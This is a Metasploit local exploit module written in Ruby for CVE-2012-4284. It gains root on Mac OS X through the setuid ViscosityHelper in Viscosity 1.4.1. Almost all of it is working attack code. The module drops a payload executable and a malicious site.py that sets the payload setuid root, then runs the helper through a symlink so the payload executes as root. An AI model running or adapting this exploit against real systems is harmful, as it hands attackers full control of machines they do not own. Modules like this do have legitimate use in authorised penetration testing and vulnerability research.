Viscosity setuid-set ViscosityHelper Privilege Escalation

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
 Rank = ExcellentRanking

 include Msf::Exploit::EXE
 include Msf::Post::File
 include Msf::Post::Common

 def initialize(info={})
  super( update_info( info, {
    'Name'           => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
    'Description'    => %q{
      This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
     vulnerability exists in the setuid ViscosityHelper, where an insufficient
     validation of path names allows execution of arbitrary python code as root.
     This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
     10.7.5.
    },
    'References'     =>
     [
      [ 'CVE', '2012-4284' ],
      [ 'OSVDB', '84709' ],
      [ 'EDB', '20485' ],
      [ 'URL', 'http://blog.zx2c4.com/791' ]
     ],
    'License'        => MSF_LICENSE,
    'Author'         =>
     [
      'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
      'juan vazquez'        # Metasploit module
     ],
    'DisclosureDate' => 'Aug 12 2012',
    'Platform'       => 'osx',
    'Arch'           => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes'   => [ 'shell' ],
    'Targets'        =>
     [
      [ 'Viscosity 1.4.1 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
      [ 'Viscosity 1.4.1 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
     ],
    'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
    'DefaultTarget' => 0
   }))
  register_options([
    # These are not OptPath becuase it's a *remote* path
    OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
    OptString.new("Viscosity",   [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
   ], self.class)
 end

 def check
  if not file?(datastore["Viscosity"])
   print_error "ViscosityHelper not found"
   return CheckCode::Safe
  end

  check = session.shell_command_token("find  #{datastore["Viscosity"]} -type f -user root -perm -4000")

  if check =~ /ViscosityHelper/
   return CheckCode::Vulnerable
  end

  return CheckCode::Safe
 end

 def clean
  file_rm(@link)
  file_rm(@python_file)
  file_rm("#{@python_file}c")
  file_rm(@exe_file)
 end

 def exploit

  exe_name = rand_text_alpha(8)
  @exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
  print_status("Dropping executable #{@exe_file}")
  write_file(@exe_file, generate_payload_exe)

  evil_python =<<-EOF
import os
os.setuid(0)
os.setgid(0)
os.system("chown root #{@exe_file}")
os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
  EOF

  @python_file = "#{datastore["WritableDir"]}/site.py"
  print_status("Dropping python #{@python_file}...")
  write_file(@python_file, evil_python)

  print_status("Creating symlink...")
  link_name = rand_text_alpha(8)
  @link = "#{datastore["WritableDir"]}/#{link_name}"
  cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"

  print_status("Running...")
  begin
   cmd_exec "#{@link}"
  rescue
   print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
   clean
   return
  end
  print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
 end
end